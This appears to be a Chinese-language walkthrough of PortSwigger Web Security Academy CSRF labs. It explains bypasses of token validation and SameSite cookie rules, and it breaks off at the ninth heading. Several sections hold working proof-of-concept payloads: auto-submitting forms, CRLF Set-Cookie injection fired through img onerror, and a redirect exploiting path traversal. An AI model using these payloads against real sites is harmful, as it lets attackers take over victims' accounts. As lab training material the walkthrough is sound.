1.没有防御措施的CSRF漏洞
最基本的csrf漏洞
登录之后在修改邮箱这里抓包
然后制作csrf poc
将poc复制
粘贴到漏洞利用的body里点击 store和 Deliver exploit to victim即可完成
2.CSRF，其中令牌验证取决于请求方法
同样是在更改邮件抓包
!
可以发现，这串使用了csrftoken验证了用户身份
可以尝试将email通过get提交这样就可以绕过csrf值的验证
然后生成poc 利用即可
总结：当post请求带有token等验证字符时可以切换请求方式如GET来绕过认证，反正其他请求方式也可以改为post绕过
3.CSRF，其中令牌验证取决于令牌的存在
抓包
有token，尝试将token键值全部删除看看是否能绕过认证
成功绕过
制作poc提交即可
总结：可以尝试通过删除认证字段绕过
4.令牌不绑定到用户会话的 CSRF
抓包
这题考的是csrf值没有与账号绑定造成的csrf被其他账号引用，我们就可以利用来进行csrf攻击
并且发现csrf值只能被使用一次就失效了
所以抓包之后直接制作poc确保csrf没有被引用过，然后发送给受害者即可
总结：csrf认证值如果没有绑定用户会被其他用户引用
5.CSRF，其中令牌绑定到非会话cookie
经过抓包发现csrf可以被复用，进行多次邮箱修改
cookie值里面有csrfkey项，一般 是用于验证csrf值的正确性，换句话说csrfkey和csrf绑定在了一起这两个的值必须都正确才能成功操作。
但是修改csrf值和csrfkey值发现
他的报错为csrf token错误，但是并没有注销用户，因此猜测csrfkey和csrf没有绑定用户，可以被其他用户调用。
在另一个账号修改邮箱发现 csrf和csrfkey没有改变说明没有绑定用户
并且进行搜索时发现并没有采用csrf进行认证，所以可以向搜索功能注入cookie
制作的poc为
当进行搜索的时候将
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a0f00ab047e25818047622500010025.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="2@2.cn" />
<input type="hidden" name="csrf" value="2GWPGPcA9ZbEJJvwAA66ROfrF1vPqahC" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a0f00ab047e25818047622500010025.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=0EEU300C8f0ENSAOZIzK1kn9Q0uk6tOI%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
利用了恶意的图像加载以触发跨站请求伪造攻击，目标是在用户浏览器中触发一个POST请求，以修改用户账户的电子邮件地址。在此过程中，攻击者伪造了 email 字段和 csrf 字段，以便欺骗受害者的浏览器。
|
那么我们向cookie注入我们的csrfkey，post请求再带上csrf就可以完成csrf攻击
6.在cookie中复制令牌的CSRF
发现cookie里的csrf和请求体的csrf值是一样的，那就可以尝试在cookie中注入csrf值
poc
1
2
3
4
5
6
7
8
9
10
11
12
| <html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a07009604dbdfc880902bac004b0019.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1q1@qq.com" />
<input type="hidden" name="csrf" value="LsQqZ8J8aFqk0eGWrCKYXkmfQqNPXT2c" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a07009604dbdfc880902bac004b0019.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=LsQqZ8J8aFqk0eGWrCKYXkmfQqNPXT2c%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
|
总结，csrf值直接从cookie读取，可以在cookie注入csrf来绕过
7.通过方法覆盖绕过同站点松懈
抓包发现没有token等限制
GET请求会被限制
可以通过构造一个payload来发送GET请求，然后通过覆盖伪造成post请求
完成该请求的poc为
1
2
3
4
5
6
7
8
| <script>history.pushState('', '', '/')</script>
<form action="https://0a5100ba04eca91480d38068008400d3.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" value="11@11" >
</form>
<script>
document.forms[0].submit();
</script>
|
提供poc到实验室即可完成
总结：当系统不允许其他请求方式时可以尝试通过覆盖进行请求伪造
8.通过客户端重定向严格绕过同站点
网站属性SameSite=Strict
知识点
1
2
3
4
5
6
7
| SameSite=None：允许跨站点请求携带 Cookie。通常用于支持第三方 Cookie，例如嵌入的社交媒体插件或广告跟踪。但是，使用此选项需要同时设置 Secure 属性，即只有在使用 HTTPS 连接时才会发送。
SameSite=Lax：默认值。在跨站点的顶级导航（例如通过链接点击打开的新页面）中不会发送 Cookie，但在安全的跨站点 POST 请求中会发送。这样可以减少 CSRF 攻击的风险，同时在某些情况下保留了用户登录状态。
SameSite=Strict：完全禁止在跨站点请求中发送 Cookie，无论请求是什么类型。这对于强制保持 Cookie 隔离，确保用户的认证信息不会在跨站点请求中泄漏非常有用。
使用 SameSite 属性有助于减少跨站点攻击的风险，并增强用户的隐私保护。但需要注意的是，SameSite 属性并不是绝对的安全措施，还需要结合其他安全策略来提高应用程序的安全
|
由于这一关SameSite=Strict，因此只能寻找其他漏洞进行利用，优先寻找URL重定向
发现在评论之后，会将你重定向回对应的文章并且该文章参数可控，
参数可控
在漏洞利用实验室
1
2
3
| <script>
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
|
发现可以转跳
看看能不能带参数跳转到改邮件页面发现可以跳转，但是跳转之后缺少了一个参数，将&为%26正常
并且发现可以使用get方法进行邮件修改请求，因此就利用url跳转构造payload
1
2
3
| <script>
document.location = "https://0a9d001b04bbb27e8039bc54005800ed.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=usr%40ww.com%26submit=1";
</script>
|
9.同站点通过同级域严格绕过